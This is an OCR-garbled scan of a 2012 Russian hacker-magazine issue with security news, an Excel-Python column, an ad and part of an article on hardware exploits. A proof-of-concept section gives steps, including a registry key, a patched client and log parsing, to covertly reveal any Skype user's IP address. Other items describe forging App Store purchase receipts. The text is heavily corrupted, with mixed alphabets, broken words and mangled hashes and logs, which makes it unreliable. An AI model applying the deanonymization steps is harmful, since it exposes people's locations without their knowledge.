одэгидой борьбы с педофилами итеррористами в Сети творятся чудн ы е вещи. Неда в но ди ре ктор п о безоп асн о сти Facebook !жо Салл и ва н спOкOйн0 пOведал в интервью агентству <Рейтер>, что социальная сеть использует в Штатах автоматические алгOритмы сканирования чатов и другой личной информации пользователей. Конечно же, с целью поиска и раннего выявления преступлений. И ведь даже нельзя сказать, что переписку пользователей читают исключительно роботы,,Д,ело в том, что алгоритм только сканирует переписку и публикации пользователей FасеЬооk, но если он обнаруживает подозрительную активность, то помечает профиль и сообщает о нем специальному сотруднику FасеЬооk. Именно сотрудник оценивает степень опасности и в случае необходимости сообщает 0 пOтенциальном преступнике в полицию. Это довольн

огл асис ь, за по

к

клиентски1,1 llодуле}i.

о

н

еOж ида

н

ная

н 0

вOсть

-

ра

н

ьше сч итал ось, что са м

FасеЬооk не занимается мониторингом чатов в пользу п 0л и ци и, а тOл ьк0 мOжет в ыдать расп ечатки ч ат- се сс и й по полицейскому или судебному запросу. 0казывается, 0н осуществляет и превентивные меры. ,Щжо Салливан подчеркивает:

<Чтобы не сталкиваться

с ситуацией,

которой нашим сотрудникам приходится читатьчужую переписку, мы испOльзуем системус очень низким процентом,,ложных срабатываний">. Известно, что используемая для мониторинга действий юзеров система сфокусирована на диалогах между пользователями с <беднымиD связями. Подозрительными, по мнению FасеЬооk, являются случаи, когда два пользователя общаются, не являясь взаимными друзьями или став друзьями недавно. Совсем страшно, если у них при этом нет обtцих друзей, а прочиедрузья взаимодействуют с пользователями и друг с другом крайне редко. Также криминалом считается, если два пользователя имеют большую разницу в возрасте. Словом, если ты не особенно активный пользователь Facebook с сотнями друзей и тебе за 30, поздравляем -ты явно потенциальный педофил и террорист. Справедливости ради заметим, что система все-таки ра ботает и даже п ри н осит плоды. Та к, < Ре йтер > расска зывает 0 случае, когда удалось арестовать ЗO-летнего мужчину пOслетого, как он в чате поговорил с 1З-летней школьницей и назначил ей встречу. В переписке между ними регулярно фигурировало слово <секс>. Полиция сумела предOтвратить и их (встречу>, и возможное преступление благодаря оперативной информации от tасеЬоо k. И это тол ь ко оди н из м н ожества случа е в, когда представители полиции США подтверждают получение заблаговременных (наводок> от FасеЬооk, то естьтам дей ств ител ьно ра ботает гл обал ьн а я систе м а мон иторинга. Конечно,6орьбой с педофилами занимается не тол ько Facebook, н о и разработч и ки други х со ци ал ьн ых сервисOв, в том числе 0риентирOванных на сетевые знакомства [например, мобильное приложение Skout]. В будуцем подобные системы модерации планируют уста нов ить и други е са йты, у которых з нач ител ьную ч асть аудитOр и и соста вл я ют подрOстки. в


}'l

EGA

N

EWS

ЗА ПОЛГОДА В TWlTTER ПО(ТУПИЛ0 33?S ОБРАlЦЕНИй по поводу нарушения авторских прав. сервисудалил 5275 твитов

сOрЕвнOвАн и Е рOБOтOв-трЕЙдЕров

сЕрьЕз

ГРЯДЕТ НЕОБЫЧНЫЙ КОНКУРС

ПРИЯТНАЯ СТАТИСТИКА

и

5r9 медиафайлов.

уяз в и мOстЕЙ стАнOвится всЕ м Ен bll] Е н blX

WHlTEHAT SECURlTY

ОТ

Региfrрация на Automatea Тrаа]пg championship 2012

**

1 "*,2 ,9,й ж.Ф*

1з58

гт/ \*/ -J

(J

азличные прOграммистские сOстязания уже не нOвOсть, такого рода мероприятий несколькодесятков. 0днако есть среди них и весьма экзотичные. Первого октября текущего года состоится шестой ежегодный конкурс Automated Тгаdiпg Championship- это соревнование роботов-трейдеров. Ход конкурса прост: в режиме реального времени ботам предстоитзаключать торговые сделки. Соревнование создано с целью популяризации а втоматического трейдин га и языка п рограlv мирован ия N4etaQuotes Language 5 (MQL5), основанного на концепции С++. Прикладной язык MQL5 предназначен для автоматизации торговых стратегий, Программы на нем компилируются в исполняемые файлы, которые можно запускать в клиентском терминале N4еtаТrаdег 5. Участника[,4 предлагается разработать программы, торгующие на рынке по определенной стратегии. В течение трех месяцев роботы будут совершатьторговые сделки, и чем больше они на них заработают, тем выше окажутся в итоговой таблице, Ни участники, ни жюри не смогут вмешиваться в торговый процесс. На сайте чемпионата Ichampionship.mql5.com] будут публиковаться новости, интервью с авторами лучших роботов и отчеты. В профиле каждого участника можно будет в режиме реального времени увидеть пOдробную статистику работы его программь].

Е 80

тысяч

долларов-

суммарный призоsой фондАчtоmаtеd Тrаdiпg championship. Победитель получит 40 тысяч, за второе место дадут 25тысяч, а бронзовый призер получит 1 5 тысяч долларов.

ак правило, 0тчеты компаний, занимающихся информаци-

онной безопасностью, выглядятудручающе: тысячи вирусов охотятся на беззаI/тнDlх гользователе7. в соф-е сплошь рядом обнаруживаются уязвимости, и вообще-,(все плохо). Редко когда вь ходит исследование с противоположными вь водами. Такое исследование недавно опубликовала компания Wh teHat и

Secu гitу,

о

бес

п

еч

и

ва

ю

ща я безо па

сность

веб - п р

ил ожен

и

й.

П

о

е

е

даннь м, количество серьезнь]х уязвимостей ощутимо сократилось за последнее время. Сотрудники компании собираютстатистику еже годн о,

с

ка

н и

руя соде рж

и м

ое

н

ес кол ьк

и х т ы ся

ч са йто в в теч ен

и

е

всего года. Так, в 201 1 году по результатам сканирования более 7000 сайтов [сотни терабайт контента] им удалось обнаружить в среднем 79 серьезныхуязвимостей на каждом сайте.,Щля сравнения: в 201 0 годутаковых было 2З0, в 2009 году-480, в 2008 году- 795, в 2007 году- 1 1 1 1. Радует и тотфакт, что серьезнь е уязвимости стали быстрее устранять: в 201 1 годусреднее время закрытия уязвимости составило 38дней, тогда как в 20] 0 году это занимало 1 ] 0 дней.

Процентзакрь ваемь хуязвимостей в прошлом годутоже вырос с 5З до бЗ. Если рассматривать уязвимости по типам, то на первом месте по популярности остается межсайтовый скриптинг (XSS], который встречается на 55% сайтов. !алее утечки информации [5З% сайтов], контент-спуфинг (З6%], недостаточная авторизация l21%] и межсайтовая подмена запроса lCSRF, 19%). Только на восьмом месте в списке оказались SQL-инъекции: их обнаружили всего на ] ]% сайтов.

зАпрЕт нАдO(туп ктнЕ PlRATE BAY, БлOкирOвкА lр-АдрЕсOв нАурOвнЕ пр0_ ВАЙДЕРОВ ВЕЛИКОБРИТАНИИ НИДЕРЛАНДОВ И ДРУГИХ СТРА; в

ш

.

рЕАльнO(ти 0кАзАлись

БЕСПOЛЕЗНЫ. После 1 февраля Р2Р-трафикнетолько,остался примерн0 на T01.1 же урOвне, чт0 и раньше, н0 в какие-т0 дни даже превысил кдоблокадныеr, показатели, сообщил специалистгOлландскOг0 пр0вайдера x54All.

wl Kl

]t1

EDlA FOU

N

DАтlON

плАнируЕтс03дАть гид

-

п0 пУтЕ ш Е(тВи я 1.{ бесплатный сервис, редактированиеlt которого мог бы заниttаться каlкдый, как в случае с Wikipedia.

ANONYMOU5 зАпустили САЙТДЛЯ ПУБЛИКАЦИИ РА3ЛИЧ tlЫХ ДАlt{ ПOВ: ра[:а поiа,net. Если сайт не

закроют власти, на разбор все равно уйдут годы.

хАкЕр

09

/]64l 20l2


ИЗ GOOGLE РLАYТЕПЕРЬ

ilOXH0 УДАЛЕННOУПРАВЛЯТЬ ПРИЛOХЕНИЯlс{J{ налюбыхсвоихустройствах-удалять

ВАЖНА КАЖДАЯ СЕКУНДА пЕрЕвод нировыхАт0llных чАсOв нА 0дну сЕкунду пРивЕл к llАссOв01.1УзАвисАнию сЕРвЕРных пРиложЕниЙ полночьс30июня

июляэталонныемировыеатомные часы были приостановлены на одну секундудля синхрони-

их или

обновлять.

нOвАя гOлOвнАя БOл ь APPLE РОССИЙСКИЙ ХАКЕР (ВСКРЫЛ), АРР STORE

на 1

зации с астрономическим временем 3емли. В связи с чем последней минуте оказалась 6'1 секунда и некоторые часы стали показывать время <23:59:60> или два раза по <2З:59:59>. Из-за неспособности некоторых приложений обработать появление лишней секунды многие сайты испытывали проблемы [втом числе Reddit, LinkedIn и Mozilla], наблюдалось массовое зависание серверных приложений lB основном Hadoop и Саssапdга], СУБД MySQL съедала все процессорные ресурсы, отключалисьVРN-туннели на базе 0penVPN, зависали Liпuх-серверы [судя по баг-репортам, с не обновленным ванильным ядром, собранным вручнуюl. В большинстве случаев администраторы были вынуждены перезапустить зависшие серверы. Тем не менеедля стабилизации приложений, начавших потреблять излишние ресурсы CPU, достаточно было вручную выставить корректное время командой в

d at

е'

ate

" % m 0h dОkНОkМO/оСО/оу,ОkS

сте м до полнительно могло потребоваться остановить демон ntpd на время

<

d

+

"' >.

я

н е

кото

р ы

х

с и

выполнения данной команды и перезапустить пожирающие CPU прилOжения. Чтобы устранить негативный эффект, компания Google предложила разбитьлишнюю секунду на большой интервал корректировки, с прибавлением каждый раз по миллисекунде, что приведет к плавному <размазыванию> секунды по большому отрезку времени. Похожее готовое практическое решение [скриптf ixtime. рl для плавного прибавления секундыl месяц назад опубликовал один из разработчиков 0реrа в своем блоге: goo,gl/vB45m.

l

к 201

5

гOдуАвто Европы 0снАстят систЕ1,1ой EсALL

всЕ HOBblE },lАшиньl в ЕврOпЕ скOр0 УКOМПЛЕКТУЮТ систЕ1.{0Й

СЛУЖБ

п0

вызовА

СПАСЕНИЯ,

сути-дАтчикАi{и

ПЕРЕДВИЖЕНИЯ хлкЕр

09 /1b1.1

?л12

лексей Бородин 21 -летн и й ресерчер из Росси и умудрился устроить настоящий переполох в стане корпорации Apple. Чтобы поставить <яблочников> на уши, оказалосьдостаточно осуществить реверс-инжиниринг протокола магазина Арр Stоге и опубликовать в Сети инструкцию lсhtо.su/2012l07/аррstоге. html), как подделать чеки lп-Аррдля покупок внутри приложений. Гово ря п роще, Бороди н поведал м и ри ка к < покупать бесплатно> контентвнутри любого приложения, например новые уровни, бонусы, и гров ые п редм еты и так дал ее. Не подумай, что ха ке р сделал это случа й но ил и не заботился о последств иях Бороди н сра вн и вает lп-Арр-покупки с читерством и с <<продажей воздуха>, ведь в реальности ден ьги бе рут за разблоки ро вку контента, котор ы й уже и без того присутствует на устройстве. Способ хакер разработал универсальный, он действует практически в любом прилохении, Потребуется лишь осуществитьатаку типа MlTM на свой собственный смартфон, установив на негодва фальшивых СА-сертификата и прописав фальшивый DNS, который я кобы кеш и рует ответы от се рве ра Apple, п одтве рждая сдела н ную покупку. В подтверждение покупки фальшивый DNS-cepBep выдает устройству фал ьш и вую квита н ци ю стандартно го образца. Буквально через неделю после публикации инструкции Алексей Бородин стал настоящей звездой: его показали потелеканалу<Россия >, у него взял и и нтер в ью для н ескол ьких са йто в, и даже газета < Ведомости > опубл и ковала п ро н его статью в за крытом раздел е, за щищенном lп-Арр-покупкой [вотдаже злобно шутить не хочется на этутемуl. Корпорация Аррlе, в свою очередь, безуспешно пытается удалить с различных хостингов вышеупомянутые сертификаты и за-

-

блоки ровать DN S- сервер ы. Пока все тщетно. Сп особ по- п режне му работает [по состоянию на 2'] июля]. По некоторым данным, таким методом уже сделано более 8,46 миллиона бесплатных покупок. Аррlеуже начала пробоватьдругиетехнические способы

защиты. Недавно компания принялась внедрятьуникальные идентификаторы в каждую квитанцию на подтверждение покупки. Разработчики сообщают, что в квитанции появилось новое поле (ч niqu е_idепtifег>. М ожно п редпол ожить, что о но должно содержать уникальный номерустройства Unique Device ldentifier IUDlD], совершающег0 пOкупку. Если так, то подобное действие идет в разрез с последней политикой Аррlе, согласно которой приложениям запрещалось собирать UDlD сустройств, Так что вполне возможно, что <уникальный иде нти фи катор> будет соответствовать н е устро йству, а отдел ьной покупке. Если по этому идентификатору покупка будет проводиться на сервере Арр lе и с веряться с н и м во время тра нза кци и, то та ки м

образом можно попробовать бороться с хаком, который предложил Алексей Бородин. В конце июля специалисты Apple закрыли уязви м ость, и Бороди н подтвердил в свое м бл оге, что тепер ь обход системы по существующей технологии невозможен.


HEADER

КОЛОНКАСТЕПЫ

ИЛЬИНА

пр0 т0, кАкя EXCEL с питOнOм

пOдружил

БРЕДOВАЯ ИДЕЯ

Есть миллионы людей, которые бесхитростно работают в Ехсеl с самыми обычными электронными таблицами. Есть очень редкие гики, кOтOрые испOльзуют максимум вOзможностей встроенного VВА-языка, чтобь, к примеру, обойти ограничение на запуск менеджера задач, реализовав свой собственный. Я отношусь к первому типу;). Я сильно не люблю составлять отчеты. Придумать более унылOе занятие невозмOжн0: взять данные оттуда, вставить в таблицу, взять данные из другого места и опять вставить в таблицу. После третьег0 такOг0 0тчета я решил эт0 дел0 автоматизировать. Задача казалась вполне земной, если бы не одно но иметь дело со встроенным VBA совершенно не хотелось. К тому же нужно было обрабатывать сложные форматы файлов, а писать с нуля парсер нисколько не привлекало. С документом надо было работать постоянно, поэтому вариант написать внешний скрипт на Руthоп, который на основе хls-шаблона создавал бы отчет, вставляя нужные данные. не годился (хотя изначально я хотел делать именно так]. uBoT если бы в Excel был встроен python

-

для скриптинга, то все было бы в десять раз проще>, - подумал я и набрал в Google: <excel with руthоп>. 0казалось, что подобной ерундой был озадачен не только я :].

EXCEL

+

PYTHON

0дин из первых найденных проектов PyXLL {www,pvx] ,com] позволял быстро писать на питоне функции, которые далее можно было испOльзOвать наравне с0 стандартными функциями Ехсеl'я lвроде СУММА{}). Я даже попробовал его в действии. Выглядит это так: ты пишёшь Руthоп-скрипт в соответствии с некоторыми правилами, реализуя необходимые действия с получаемыми данными, после чего через специальный аддон для Ехсеl'я импортируешь написанные функции. Не так плохо, но хотелось прямо в коде Python обращаться к

-

оrб

нужным ячейкам электронной таблицы. И это позволял другой найденный аддон DataNitгo ldatan tго ccml. После его установки в Ехсеl'е пOявляется нOвая вкладка, 0ткуда вызывается редактор. Интеграция выполнена очень удобно, пOэтOму мOжн0, не сильн0 замOрачиваясь, написать чтO-т0 врOде:

cell((A1)).va],ue = (Hello, Wоrld!л ,Щалее заrускаем сцечарий с помощью кнопки на панели тулбара и получаем нужное значение в ячейке А1 ! Недолго думая, я стал наращивать функционал, который мне был нужен. Пробую импортировать библиотеки для работы с нужными форматами и прочитать данные все работает. Запрашиваю через APl информацию из нескольких онлайнвсе 0тличн0 агрегируется. сервисOв Пишу простенькую приблуду для рассылки отчетов все отлично отправляется. В итоге за тридцать минут удается сделать скрипт, который будет экономить два часа те, что преврацались для меня в пытку :). Сперва я даже начал выполнять в Python все расчеты, лишь позже вспOмнив, чт0 с этим справится сам Excel, Впрочем, если нужно посчитать чтO-т0 серьезнOе, т0 ничего не стOит пOдгру-

-

-

-

lg -

;

Ноmе

-]п

Ediior D,thon sh.ll

'

lп5еЁ

Page

[ayout

ВЫЖАТЬ МАКСИМУМ

Скриптинг на Python - всегда гарантия хорошей расширяемости приложения. Взять хотя бы редактор Sublime Text: плагины для него есть уже на любой случай жизни. Впрочем, мOжн0 не хOдить далеко за примерOм. 0дин из создателей DаtаNitго в качестве иллюстрации возможностей своей разработки написал на Ехсеl'е Тwittег-клиент lподробнее можно прочитать здесь: Ь t.ll Res2mZ). Причем минимальными усилиями благодаря питоновской обертке для Тwittег (github,com/tweeov/tweeovl. АРl - tweepy Конечно, это всего лишь Ргооf-оf-Сопсерt, н0 зат0 хOрOшая иллюстрация тог0, чт0 интеграция с python с его огромным кOличеством готовых модулей на любой случай жизни может быть очень полезной. Кстати, сделать такую фишку не так уж и сложно, о чем пишется в официальной документации Руthоп. А освоить основы языка можно за полчаса. К слову, интерактивная школа по программированию codeacademy как раз выпустила неплохой курс lhttp://www, codecademv соm/tгасks/пчthопl. Е

ga

Formula5 Data

J"ж:;#":ýо

R26

зить математический модуль NumPy и делать любые научные вычисления.

RUn stop

Do(5

Raviev/

Vi.$,

l

citзl]ltl

]

l-ive

Help

t,

ABсDEFGHlJ

Вкладка аддона, ( поffоlцью которой реализуется интеграция DataNitro

и

Excel

хлкЕр

09 1161,1 2а12


Анатолхй Ализар lalizarBgmail,com]

ч,, Ргооf-оf-Сопсерt l..j

с},lOтРи]ti lР-АдРЕсА

поль3OвАтЕлЕи SKYPE

ПРЕДЫСТOРИЯ Небольшая предыстория вопроса: слухи о раскрытии lР-адресов пользователей Skype появились летом 201 1 года, когда хакер Ефим Бушманов из Сыктывкара осуществил обратный инжиниринг старого протокола Skype lверсий 1.х/3.х/4.х|, запустил блог skvpe-o0en, source.blogspot,com и выложил бинарник деобфусцированного клиента. больше. 25 марта 2012 rода ,Д,альше вышла деобфусцированная версия клиента 5.5, которая могла полноценно работать в действующей сети Skype, и началась настоящая веселуха. Благодаря расшифровке протOкOла стал0 пOнятн0, где смOтреть lР-адрес при установке прямого соединения с пOльзOвателем, например, в0 время звOнка, В апреле и вовсе появился взломанный SkypeKit серверная версия Skype, которая показывала lР-адреса любых пользователей, Чуть позже выяснилось, что даже в клиентской деобфусцированной версии 5.5, а именно в 0тладOчных лOгах прOграммы, мOжн0 п0смотреть lР-адрес любого пользователя, если запросить его чСаrd (информация о контакте]. При этом даже необязательно добавлять его в контакты, то есть lР-адрес отображается незаметн0 для жертвы.

-

-

-

зАчЕм этO,нужн0 Зачем узнавать lР-адрес пользователя? Вопервых, из чистого любопытства. Интересно, в какOм гOрOде и стране живет челOвек,

каким провайдером пользуется. Во-вторых, эт0 нужн0 для прOверки личнOсти челOвека, который вышел с вами на контакт: тот ли он, за кого себя выдает. Наконец, эта процедура позволяет проверить самого себя, то есть не запущен ли где-т0 на стOрOннем кOмпьютере инстанс Skype с таким же именем пользователя. В отладочных логах будут указаны все lР-адреса, по которым работает клиент. Если кто не понял: протокол Skype устроен таким образом, что вы можете запустить инстансы клиента на нескOльких кOмпьютерах и все текстовые сообщения будут пOступать 0днOвременн0 в0 все инстансы. Хотя и говорят, что Мiсгоsоft переделывает архитектуру Skype для массовой прослушки пользователей, но пока это лишь домыслы. На сегодняшний день самый реальный способ прослушивать пользователя узнать его пароль и запустить у себя дополнительный инстанс клиента под его учетной записью.

-

кАк испOльзOвАть

lР-адреса пользователей указаны

лать две вещи:

В реестре

Windows добавляем ключ [Н KEY_CU RRENT_USER\Sof Pho пе\U l\Ge

п

в

разделе twaгe\Skype\

ега l]:

Skype55_patched. ехе MD5 7з8ldееdзе99з7 ef22oбf бьесtо2зс47 sHA- 1 18зlе66зlЬ95е9зl7зd899а2567 69со2с с зlеЬ06 Ео2К ё24зс24с67fаf7ззf

MD5 12ззdз2е9сЬ54684сf SHA-

а7сеO9зOззеза1 5с 857 dd4of а5Ь7

f2dcdb

ED2K 16с9617аOеlсO2збессаз9d

Лог Skype (фрагмент): оо|26iз4.4об т*з604 Rочtег

dэ5f7

f

4ао

:

-ц"S 0хе9ь657з4с94911d5s2lз.

165. 179 . 765 i 4оооб :

25801_1192. 168,о, 80 i 258ot

gО|26|З4.4gб Т#3604 РгеsепсеМапаgеr: в

папке

кли-

Когда все готово, нужно сделать так, чтобы запись 0 нужнOм кOнтакте попала в 0тладOчный лоr flля этого достаточно выбрать в меню и указать функцию <flобавить контакт>

-

39828ddf c4a5Of 8

1 69d5Oa22019842be494f

22ot_o

eHTSkype 5.5 или 5.9 [thерiгаtеЬач.sе/ tоггепt/72З8404l, в котором отладочные логи записываются в расшифрованном в иде.

09/164120]2

случаях использует передачу трафика по локальной сети. Интересно, что информация об lР-адресе дOступна, даже если пOльзOватель нахOдится в офлайне. Как показывает опыт, lР-адрес пользователя хранится несколько дней. Если он ушел в офлайн на более длительное время, lР-адрес исчезает из сети.

г86. 57,L49.L47

После этого lоg-файлы типа debugYeaгMonthDate-time.log создаются Skype.

2. 3апуститьдеобфусцированный

я_

В расшифрованных логах отображаются реальный lР-адрес [с ключом -г] и локальный lР-адрес сетевой карты (-|J юзера. Внутренний адрес нужен Skype, потому что он в некоторых

s-

"Logging" ="SkypeDebug2Oa3"

хАкЕр

пол ьзо вател

skype59_patched. ехе в отладоч-

ных логах (dечеlорег.skуое.соm/SkчреGага9е/ Lоgflэl, но в обычной версии клиента Skype эти логи зашифрованы. Поэтому нужно сде-

1. Включитьзаписьлогов.

нужный ник. Затем можно закрыть клиент и идти изучать текстовый лог {см. листинг]. Нухно найти поле РгеsепсеМапаgег с ником

_6Ге оIесhkаO2з21 охе9Ь657з4с94911d5s - s2lз . 165 . 179 . 165 :40а06 г86, 57 .L49.74? _8ооооооз

оо | 26 iз4. 4об

:

25801- 1192. 168.о. 80 : 25801

т*збо4 РгеsепсеI,lапаgеr

_aii оlесhkаO2з21 lni.tiaI ping_

:

е9ь657з4 c9491Ld5 о

Как видишь, мы без особых усилий вытянули lР-адрес собеседника из деобфусцированных логов. Но будь осторожен с этой техникой Skype банит аккаунты, которые очень часто запрашиваютчСаrd.

-

Е

1,


ипотЕкА

дlпмtrнtrл ит

"Монолит

плюсD

активно

работает с ведушими банками по программам ипотечного кредитования. Особое внимание уделяется правовой защищенности клиентов, приобретателей )t(илья и нежилых помещений.

кМОНОЛИТ ПЛЮGll ПРЕflЛАГАЕТ ПРОСТОРНЬlЕ

квАртирьl соврЕмЕнноЙ плднировки в 5-ти

СЕКЦИОННОМ

ll

Дll

ДОМЕ ПЕРЕМЕННОЙ

ЭТАЖНОСТИ.

ДОПОЛНИТЕЛЬНУЮ ИНФОРМАЦИЮ О ПРОМЖЕ КВАРТИР В

кНА ВЫGОТЕ>

можно получить в оФисЕ промж компАнии (монолит'(КплюсD


3Ао кltlоНолит плюс,, _ ИНВЕСТИЦИОННО-СТРОИТЕЛЬНМ

компания осуществляет полный спектр услуг в процессе реализации строительных проектов. Год за годом

КОМПАНИЯ, ВХОДИТ В СОСТАВ

компания

рАБотАюlцЕЙ в московскоЙ оБлАсти с i989 гом.

инвестирования, выполняет фун кции технического заказчика и функции технического надзора заказчика за строительством объекгов.

ГРУППЫ КОМПАНИЙ кМОНОЛИТл,

Дll

Ь"""ýТ;Н"".",lа:t]

г' коРолЕв'

"монолит

плюс> совершенствует

технологии

(495) 516_40_04


cOvERSToRY

sапjаг 5аt5чга lSаt5чгаагOOtWOгm.соm, tWittеrсоm/Sапjаг_5аt5Uга]

лезньlи ч,

дуршла|

нOвьlи витOк

рАзвитuя

эксплOитOв

Представь, к чему может привести обнаружение уязвимости в микропроцессоре. После эксплуатации такой ошибки уже не нужно обходить какие-либо средства защиты 0С. Что немаловажно, портирование такого эксплойта для разных 0С не будет представлять какой-либо сложности. Это связано с реализацией слой аппаратных абстракцийl, HAL (Нагdwаrе Abstгaction Lауег а также с тем, что низкоуровневые компоненты ядра для работы с оборудованием на многих 0С практически одинаковы. Помимо этого, основным преимуществом эксплойтов, заточенных на хардварные уязвимости, является возможность трансформации вектора эксплуатации с удаленного на локальный [геmоtе2lосаl] и наоборот llоса12геmоtеl. Как ты уже понял, трансформация вектора эксплуатации с локального на удаленный представляет для нас наибольший интерес :l. Правда, иногда при трансформации мини-фильтры ядра обрезают/искажают обрабатываемые данные (правила мини-фильтров обычно появляются после очередных патчей, например по вторникам), но и это не помеха. O6ход состоит из применения морфа/виртуализации кода или специально заготOвленных гаджетOв. Чтобы ты понимал, насколько ситуация критическая, рассмотрим наглядный пример, разложенный на несколько основных

-

Сегодня мало кого удивишь эксплойтами для разных 0перациOнных систем и программнOг0 обеспечения. Исследователи научились обходить различного рода защиты, такие как DEB ASLR, NX bit, так называемую песочницу, эмуляторы кода и прочие системы виртуализации. Время меняет многое:,еще вчера уязвимости в аппаратном обеспечении были объектом фантазий исследователей ИБ, сегодня это реальность. Я расскажу тебе о (железных) эксплоЙтах и малвари. 020

этапOв.

1. Злоумышленник посылает подготовленный

2.

на

ТСР- или UDР-пакет

любой открытый порт целевой машины.

Пакетпроходитчерезсетевуюкарту,

вызываяисключение,

которое план и ро вlци к ядра став ит в очередь. Та к ка к п риор итет нашего исключения высок, при вытесняющей многозадачности планировщика 0С пакет будет обработан ядром исключительно быстро, пройдя сквозь полымя мини-фильтров и встроенного монитора безопасности ядра.

хлкер

а9 l1b1,1 2012


Железный дуршлаг

3.

4. 5.

Код будетобработан центральным микропроцессором или конкретным контроллером lB режиме DMA), для которого предназначалась пOрция данных, дOставленная рассматриваемым пакетом, В итоге имеем порабощенную машину.

PROFlT!

еоо

lbash -

:]

полного понимания сути вещей рассмотрим основные этапы выявления и эксплуатации уязвимостей в железе. 'l. Анализ-анализ оборудования на предметвыявления ошибок и уязвимостей. Существуетдва типа анализа-статический loH

,Щля

же реверс-инжиниринг, достаточнотрудоемкий]

2.

3.

и

динамический

("dummy> и шаблонный фаззинг]. В первую очередьты должен з н ать базо вую м атча сть (см. ссылки], это поможет те бе дости ч ь понимания, что именно необходимо анализировать, Современные микропроцессоры имеют свои слабые места, к основным из них стоитотнести блоки декодирования СlSС-микрокоманд в RlSCкоманды, обработчики исключений, блоки состояний,

Проверка полученныхданных- на этом этапе полученные данные начинаютобрабатываться, проводится отбор <эксплуатабельных> ошибок, то есть потенциальных уязвимостей lищи исходники на нашем DVD-файл sгс/соге2duо_егrаtа]. Написание РоС [в перспективе-боевого эксплойтаl-создание

наглядно демонстрирующего ошибку Ргооf-оf -Сопсерt эксплойта,

Это может помочьдругим исследователям и разработчикам разо-

браться в проблеме, используя собственный подход. Сценарии эксплуатации уязвимостей практически не отличаются отсофтверн ых:

al

бl Bl

Local рriчilеgее5саlаtiоп-локальное повышение привилегий. Сюда же можно отнести jаilЬгеаk'и и выполнение кода в

Примеры работы

в

отладчике GDB

riпg 0;

Rеmоtеехрlоitаtiоп-удаленный

захватуправления; Очень эффективно применятьданного рода эксплойты против аппаратных файрDепiаl of

sеrчiсе-отказ в обслуживании.

вOлOв.

al

уязвиtlоститипа(переполнениебуфераD.Пример:Хегох

Wогkсепtег4150 Remote Buf fегOчегflоw РоС (bit, ч/NLСZчг]. Уязвимостьзаключается в неправильной обработке одного из параметров lLANGUAGEl при создании задачи печати;

бl зачrитыепароли,ключиtсофтверныйбэкдорl.Пример:

F5

BlG-lP Remote Root Authentication BypassVulneгability 0-day

Уязвимости

-

железе можно разделить на два подкласса псевдOаппаратные и аппаратные. 1. Псевдоаппаратныеуязвиi{ости.Ихбольшинство, иимикишат публичные базы эксплойтов lexploit-db, 1ЗЗ7dау, раздел hагdwаге). Многие выдают их за аппаратные. На самом деле они являются псевдOаппаратными, потомучто эксплуатируютошибку не в самом оборудовании, а в прошивке/драйвере/СRМ lсистемеуправления, в

котора я может быть п редста влена в виде веб - пан ел и, SSH. Теl пеt или другого протокола передачи информации и управленияl.

Пример псевдоаппаратныхуязвимостей, информация о которых хранится в базе exploit-db, представлен на иллюстрации. Их несл ожно кл ассифи ци ро вать по ти пу уязв и м осте й:

(bit.lylKS2DPR]. уязвимость заключается

в

использовании

итого в си стему SSH - кл юча. обл адая котор может получитьдоступ к целевой системе.

за ш

ым

ата кую щи й

в| Уязвиl.tости ве6-приложений [50Li, XSs,

CSRF, LFl, RFl, Auth Bypass итакдалееl Пример: Huawei HG866 Authentication Bypass {bit,lvlM gHJsm], Уязвимость заключается втом, что не все скрипты проверяют наличие валидной сессии в куках, что пOзвOляетсменить парOльадминистратора.

2. Аппаратныеуязвиi{ости-это р0 ва

н и е

м

а п па

ратн

ы х

схем.

уязвимости, связанные

с

проекти-

При проектировании процессорных микросхем и болееменее слOжных микрOкOнтрOллерOв, равно как и при создании сложного программного обеспечения, могут возникнуть различного рода ошибки. Часть из них могут стать потенциальными уязвимOстями, кOторые создают <дыры> в железе, Если дыр станOвится чересчур мнOго, т0 такOе железо делается похожим на дуршлаг. Так случилось с продукцией компании lпtеl в начале 90-х, когда ошибки в CPU этого производителя гребли лопатой. Это нормально для компании с небольшим штатом специалистов и 0тсутствием тестирования. По мере роста кOмпании lntel в ее сOставе начинают пOявляться 0тделы тестирования, отладки микропроцессорных схем. В конечном итоге иN,4енно благодаря им количество уязвимостей сводят практически к нулю. Спустя некOторое время, а именно в начале 2006 года, для процессоров серии lntel Соге2Duо/Sоlо выходит неофициальная еггаtа (свод ошибок], подготовленная парнями с сайта geek,com. Примерно через два месяца (заметь, какой срок, и это еще не предел) после выхода неофициального свода ошибок lntel нехотя признает их


covERsTORY

п Перед нами

и вносит в официальную еггаt'у. Ну баги как баги, ничего приможно подумать на первый взгляд. И ошибиться мечательного

интерес

0-day уязвимость в процессорах lntel, а именно наших дней, который был отмечен Рафалем Войчуком lRafal Woltczuk) со статусом Сгitiсаl. По иронии судьбы, уязвимость была исправлена в Linux еще в далеком 2006-м [многие ее знают как CVE-2006-0744), но тогда мало кто обратил на нее внимание, а lntel в очередной раз отмахнулась. присвоив авторство данной уязвимости разработчикам ядра Линукс. Как ты понял, основной плюс данной уязвимости в том, что она, являясь хардварной, позволяет пробить большинство из существующих 0С {FгееВSD. NetBSD, Sоlагis, Windows} и систем виртуализации IXEN, KVM). В Linux она появилась в виде репорта от компании Red Hat IRHSA2012:07 20 -1, R HSA-20 1 2:0721 -1 ]. П ричина возн и кновен ия данной уязвимости в том, что lпtеl'овский микропроцессор некорректно хэндлит канонический адрес до переключения в непривилегигЗ]. В АМD-процессорах данная операция рованный режим (r0 выполняется с точностью до наоборот: сначала микропроцессор переключает код в непривилегированный режим (г3} и только после этого вызывает #GP. Таким образом, при установке пользователем указателя инструкций RlP неканонического вида процессор вызывает обработчик ошибки, который, будучи еще в гiпg 0, запустится с выбранными пользователем значениями регистров

